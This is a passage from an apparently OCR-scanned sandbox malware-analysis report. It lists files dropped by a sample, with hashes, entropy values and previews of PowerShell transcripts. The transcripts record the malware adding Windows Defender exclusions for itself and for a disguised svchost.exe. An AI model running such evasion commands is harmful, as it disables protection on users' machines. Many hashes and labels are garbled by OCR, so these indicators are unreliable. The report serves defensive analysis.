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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_kyzOnjed.lca.psm1

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_lq2mhz2z.irn.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_ mmazxtpal.wlv.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_qbngdk45.hvk.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_qx5bOha2.mrm.psm1l

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)
Category: dropped
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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_qx5bOha2.mrm.psml

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!

A
false

unknown

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_rslbwbev.gpk.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!

A
false

unknown

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2q3ne0Oh.er5.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:UU

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!

A
false

unknown

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_yvxOvfuv.bx0.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!

A
false

unknown

1
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C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_z1nflr4w.p5l.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_zvraegol.fzc.psm1l

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:uU:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4AEAA22F1DA49C01ES52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\catalog.dat

Process: C:\Users\user\Desktop\s9SWgUgyO5.exe

File Type: data

Category: dropped

Size (bytes): 2088

Entropy (8bit):  7.089541637477408

Encrypted: false

SSDEEP: 48:1knjhUknjhUknjhUknjhUknjhUknjhUknjhUknjhUknjhL:HjhDjhDjhDjhDjhDjhDjhDjhDjhL

MD5: 84864902DEC5038CEF326FF21E8D5F98

SHAL: 2F10FEC81D95813C3B2530EC4CECED70164A08C5

SHA-256: 5B4853A46F99AC6445B68DC1A841D511D0E86C6EDEC2A0A84F3778039A578B6B

SHA-512: A77BCDB522CE208C8D785F44D9FE90C6D1314CB199A4BE72E220F4B8C5446265EEEF1C51EFFD2D7BDCCDC8F4A76F803A41A4973364757950D0777E8BAEFOB!
4c

Malicious: false

Reputation: unknown

Preview:

[&Gj.h\3.A..5.X..&...i+.C(L.P..P.CLT..Ab......4h..t+.2\..
[&Gj.\3.A.. 5.x.&..i+.c(1P.P.CLT..Ab....4h. t+.2\
&Gj.\3.A..5..&..i+.c(LP.P.cLT..Ab..

Process: C:\Users\user\Desktop\s9SWgUgyO5.exe

File Type: Non-ISO extended-ASCII text, with no line terminators, with overstriking
Category: dropped

Size (bytes): 8

Entropy (8bit): 3.0

Encrypted: false

SSDEEP: 3:D8t:g

MD5: 55F6F1959EBADA17984856874E790F5E

SHAL: 88D220D3E2D7561810EC950BBASFDACC27DDB7ED
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SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

32E03F7509EA93E49C11CD08382D03124001F3C0728FD1814C606E1CE81010C7

676E513CD1CC4350ED1F7F5387C7105E351FA80AFC7EAA440F3261DD9600DD5B5271A020FB709F03C703FB3CEE322E6DF145752DEBDC98981EF3BF8DD8D914
5

true

unknown

?.1.H

C:\Users\luser\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\settings.bin

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\s9SWgUgyO5.exe

data

dropped

40

5.153055907333276

false

3:9bzY60RDTEP2bfVN1:RZWDT621

4E5E92E2369688041CC82EF9650EDED2
15E44F2F3194EE232B44E9684163B6F66472C862
F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48

1B368018907A3BC30421FDA2C935B39DC9073B9B1248881E70AD48EDB6CAA256070C1A90B97B0OF64BBEG61E316DBB8D5B2EC8DBABCDOBOB2999AB50B933671E
cB

false

unknown

9iH..}Z.4. f.~a....

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\s9SWgUgyO5.exe

data

dropped

327768

7.999367066417797

true

6144:0X44590aTiB66x3PIZmagze1d1wI8IkWmtjJ/3Exi:LkjbU7LjGxi
2E52F446105FBF828E63CF808B721F9C
5330E54F238F46DC04C1AC62B051DB4FCD7416FB
2F7479AA2661BD259747BC89106031C11B3A3F79F12190E7F19F5DF65B7C15C8

CO8BAOE3315E2314ECBEF38722DF834C2CB8412446A9A310F41A8F83B4AC5984FCC1B26A1D8BOD58A730FDBDD885714854BDFD04DCDF7F582FC125F552D5C:
A

false

unknown

F7g...1.*3.{n...L.y;i..5-....(Bi.oeurenne J.5b7} fK..HV..,...0.... ...n.W6PMLI......v."".v...
jm.#u..1.MgL.E..U.T.....6.2>...6LKw"0..E..."K%{....2.7...<...,...]Jt.....[.Z.u..3X8.Ql.._.&.N..q.€.2...6.R.~..9.B(..A.v.6.G. #y.....0...Z)G..W..E. k(... +..0O.......... Vg.2xC.....
.0..jc.....z.~.P..g..[.-."h.._.cj.=.B.x.Q9.pu.li4...i...;0...n.?.,. ...v2.5}.0Y@.dG|<.._[.69@.2..m..Il..oP=..xrK.?...........b..5....i&....c\b}..Q..0+.V.mJ.....pz...>F....... H...6$.
~domoNLLR.Bi..n 8008 CYESL L HL8LLLL7 P ?h L RIFLGL.Q((@LLs. 4K .. 2m HL 5 LL&<)LC] B30, ul. 8i=.Z.W.. 7

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.9xOhnXgG.20210927202809.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.556058998332182

false
96:BZj/QNfqqD01ZDSZA/QNfqqDo1ZGbFdFTFjZy/QNfqqDolZswFDFDFOZ5:kAe TfIXehhY
18CDD9EAG2447E4A2999BF7A9C164630
1ED8E125D2500384B18E6C2B684403A9C4E4FABD
EF61BF6DD371E21F947373836CC83CA7084A3F2DFEO0ACI0CAF27843E9D0A9ID7
C2C98836849177A9BA53D5B267E9EFB987BE8519B68161923B2A4FFA289B4DE3A2B69FA05555269261312245D9936ABA88117BD0651DCB83A03EBC12FF725BB6
false

unknown
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C:\Users\user\Documents\20210927\PowerShell_transcript.910646.9xOhnXgG.20210927202809.txt

Preview:

kil Windows PowerShell transcript start..Start time: 20210927202811..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documents\.. \svchost.exe -Force..Process ID: 1848..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0,4.0,5.0,5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..\WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.0.1.. ..Command start time: 2021092720281 1., ***xkikxiiiixriiiex PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documentsi............... \svchost exe -Force. . Fxxrkkksaix \\indows PowerShell transcript start..S

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.Axn3CWdN.20210927202806.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6104

5.555508386056664

false
96:BZR/QNfkqD01ZBSZy/QNfkqDo1ZsbFdFTFjZV/QNfkqDolZgwFDFDFSZN:CEczfJWEhhQ
6A5343E763EB4E100A426048F715143B
1C13465116174132910ACBAA4DEB6CA621DASDAE
04755AA24B89085564414DC6AF497069A736FF3DFDIEO0A62BFOD32AC9951A44

9088DF47FADE14E25FEQ9F63D742E057158F887A6CCBF14922D7CBB444098C2FE519C616DFC591F4BF8AA8B3C97ACBAYAOC770E890E06058FE79463E3DD8DD
B

false

unknown

ks Windows PowerShell transcript start..Start time: 20210927202808..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documents\............... \svchost.exe -Force..Process ID: 340..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.0.1. ..Command start time: 20210927202808. ***#***xxsirmsixsinx PS>Add-MpPreference -ExclusionPath C:\Users\Public
\Documentsi............... \svchost exe -Force. Frxwrkisisiaisik \Windows PowerShell transcript start..St

C:\Users\luser\Documents\20210927\PowerShell_transcript.910646.IFp2s05x.20210927202733.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.557951448459485

false
96:BZw/QNfZqDo1ZySZA/QNfZqDo1ZGbFdFTFZB/QNfZqDolZjwFDFDFrZs:VaeqflakhhA
52CC5469227037808F75795D5B0C69C3
6D451586D0B133672A6664053704347D1B69C1B1
7D5D2DC17D1233CAC5B7C8676AFF61DFDB60ABB73C641AD52555E8C54D2E364C

944BFE4E77558479AB78A1EF4477254B29044D7F5DDFOCE0124FAODBCA79EDC7FB678E763456802359B7714D6CEFA0070B747FDEBA87F34F3A09A4DB6BD441A
3

false

unknown

Jemkkkksassk | \Windows PowerShell transcript start..Start time: 20210927202735..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documentsi............... \svchost.exe -Force..Process ID: 6648..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0,4.0,5.0,5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.0.1.. ..Command start time: 20210927202735. ***rrkitkiiiiriiinx PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documents\............... \svchost exe -Force, Fixrrkkitkiaik Windows PowerShell transcript start..S

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.J9P1Xj6a.20210927202731.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5795

5.398012434251356

false
96:BZG/QN00gD01ZdkZD/QN0oqD01ZDF4Rn+RNQRNjZ8/QN00qD01Zm5RNARNARNQZT:4
511DCOFAAE2A3755535B5E22C767987C
458FB17FC1CC136AD53164D868C1DE09B3A7C61D
24E67643C93621D2AECAOEDB32C88CFB1ABB3FALEEFCB487A7C23740CA171D43

88895007B5C66CFB4744AA116ADD29D8844AE3ES5433B55F8B2B352FE52C4D62A012788C4D1F22AF80C1D7FCADCOA982C91C5DB8FA30473C73A972EE603B5DE
6

false

unknown
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C:\Users\user\Documents\20210927\PowerShell_transcript.910646.J9P1Xj6a.20210927202731.txt

Preview:

kel Windows PowerShell transcript start..Start time: 20210927202733..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\Desktop\s9SWgUgyO5.exe -Force..Process ID: 6588..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0,
5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1

.0.1.. ..Command start time: 20210927202733. . ****rkkskixsixsiiink PS>Add-MpPreference -ExclusionPath C:\Users\user\Desktop
\s9SWgUgyO5.exe Force ke Windows PowerShell transcript start..Start time: 20210927203108..Username: computer\user..RunAs User: computer\a

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.JSwVICU1.20210927202749.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.556460173627388

false
96:BZV/QNf8qD01ZhSZK/QNf8qD0o1ZXbFdFTFZW/QNf8qDol1ZkwFDFDFSZp:GAUcfJz8hhM
D9283F8AF4383CB29D6E72132044C3A8
F31E158B1796C4A30E052EEB258310EFB2885ACL
DD1D146D2655C496D8B349A439621B637872261EC08F996F410BAABE4A719C0C
A49AA29CE1B517430C4574FC81EBF8081AF83E2195C2D03478F5996732B782B8B6E92D104AD8F697513F5808C468DBAJE77515879BC5305B92AC00C3B5D5DDF!
false

unknown

ks Windows PowerShell transcript start..Start time: 20210927202750..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documents\............... \svchost.exe -Force..Process ID: 3444..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.01.. ..Command start time: 20210927202750. ***xssssinisiisiix PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documents\............... \svchost exe -Force. Frwrkkrksiasix \\indows PowerShell transcript start..S

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.KdadWnHW.20210927202810.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.5560714435202945

false
96:BZF/QNfaqD01Z5SZ0/QNfagDo1ZObFdFTFjZD/QNfagDolZIwFDFDFVZG:GKWHfJ03hhA
FCDBE325B1C334BBOECD8FE058190566
F5EBABCB68A4286EA778FEF664FF488149464FC6
09C085CCO3CFIECE7979439CCB7A9CAD79767C95C17A384F2EFOEDIE7A6CED92
48C8CEE11A4BB415611095BB660DE16571A38E6167330C3B0082A6686874444D4B5BB2B49CF93FFD568B8C39A5A6653C259197D17C1ECED18B20AD27A27CE6GY
false

unknown

Jemkkksask | \Windows PowerShell transcript start..Start time: 20210927202813..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documentsi............... \svchost.exe -Force..Process ID: 2584..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0,4.0,5.0,5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.01.. ..Command start time: 20210927202813. ***xsxsssiiiniixiix PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documents\............... \svchost exe -Force. Frwrkkraiaaisiix \\indows PowerShell transcript start..S

C:\Users\luser\Documents\20210927\PowerShell_transcript.910646.1gnlqgOM5.20210927202750.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.557448419714254

false
96:BZz/QNfXqD01ZrSZk/QNfXqDolZabFdFTFjZW/QNfXqDolZgwFDFDFSZN:kxCEfJT5hhQ
B33D8E3FDD86D466C1393B89270B9DBA
461CE14CC655C819D491DA7272F10B7EASCB0841
29A44CB22A360E5056E844BF1000DD2855DBD4DFA345A029DB4DA80DBBEF485C
14ED5EE45C266373D775D5BESADA49E1743B634906B5EC62260BAD6425C9E437185710CD9598D7B89C540D50FB7C41F6013558800EB4A9BC2C03DD7F173A75B1
false

unknown

Copyright Joe Security LLC 2021 Page 29 of 118



C:\Users\user\Documents\20210927\PowerShell_transcript.910646.lgnlqOM5.20210927202750.txt

Preview:

ekl Windows PowerShell transcript start..Start time: 20210927202752..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documents\.. \svchost.exe -Force..Process ID: 2196..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0,4.0,5.0,5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.0.1.. ..Command start time: 20210927202752. F**xxkikxiiiixxiiiex PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documentsi............... \svchost exe -Force. . Fxxrkkksaix \\indows PowerShell transcript start..S

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.mbVnUaXY.20210927202729.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.5584622211197035

false
96:BZj/QNfOgD01ZbSZr/QNfOgD0o1ZxbFdFTFjZt/QNfOgD0o1ZXwFDFDFEZz:c2fKfJO3hhE
F52FOEFEA4A7E14022408971F00E68BE
46BFEB66AD38F69ECF7495DADA181BAB26EAO3A4
C3D05A08DB73D93980BA88D8C85COEO00A5C49C4493D04506CI0E4F53EAELIDODA
F80D50F9F659F3034A347965BA13B0847462EE48A2E3F1B25055A73A6CC14328E91B1A807D8B89922C931B2565FDDODB6F1B9091185BFDD1063896BBDF528413
false

unknown

ks Windows PowerShell transcript start..Start time: 20210927202730..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documents\............... \svchost.exe -Force..Process ID: 6564..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.01.. ..Command start time: 20210927202730. ***xxxssinisiisiix PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documents\............... \svchost exe -Force. Frwrkkrksiasix \\indows PowerShell transcript start..S

C:\Users\user\Documents\20210927\PowerShell_transcript.910646.tfVce1MH.20210927202752.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

6107

5.556396924660695

false
96:BZB/QNfQqD0o1ZNSZW/QNfQqDo1ZkbFdFTFZW/QNfQqDo1ZbwFDFDFfZc:KYQDfJzbhhQ
CE43D849B1F84343977DCDD8635A3175
E59F387AE69ACAB66219F0ED000343F5EDB00497
11675301952103FA14EC4BD870992DFIEAS563E9307F5C54FAEC16C9292A027BF

CEDE652C1EFDD5EC06C55CA54A96CE44B99DABB6218C334C9881AB459DD606ED3C12475EF256553BEB1129A30C472DBB997D13FCD5EB4DEO012F8AF0580627
FE

false

unknown

Jemkkksaassk | \Windows PowerShell transcript start..Start time: 20210927202754..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\Public\Documentsi............... \svchost.exe -Force..Process ID: 1752..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0,
3.0,4.0,5.0,5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.01.. ..Command start time: 20210927202754. ***xsxsismasiixiix PS>Add-MpPreference -ExclusionPath C:\Users\Publi
c\Documents\............... \svchost exe -Force. Frwrkkrssmaaisiix \\indows PowerShell transcript start..S

C:\Windows\ServiceProfiles\LocalService\AppDatalLocal\FontCache\Fonts\Download-1.tmp

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

ASCII text, with no line terminators

dropped

55

4.306461250274409

false

3:YDQRWuU83XfAW2fHbY:YMRI83Xt2f7Y

DCA83F08D448911A14C22EBCACC5AD57
91270525521B7FE0D986DB19747F47D34B6318AD
2B4B2D4A06044ADOBD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9

96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FDIE9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBCOBAIFBA
A

false

unknown

{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}
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C:\Windows\ServiceProfiles\LocalService\AppDatalLocal\Temp\MpCmdRun.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

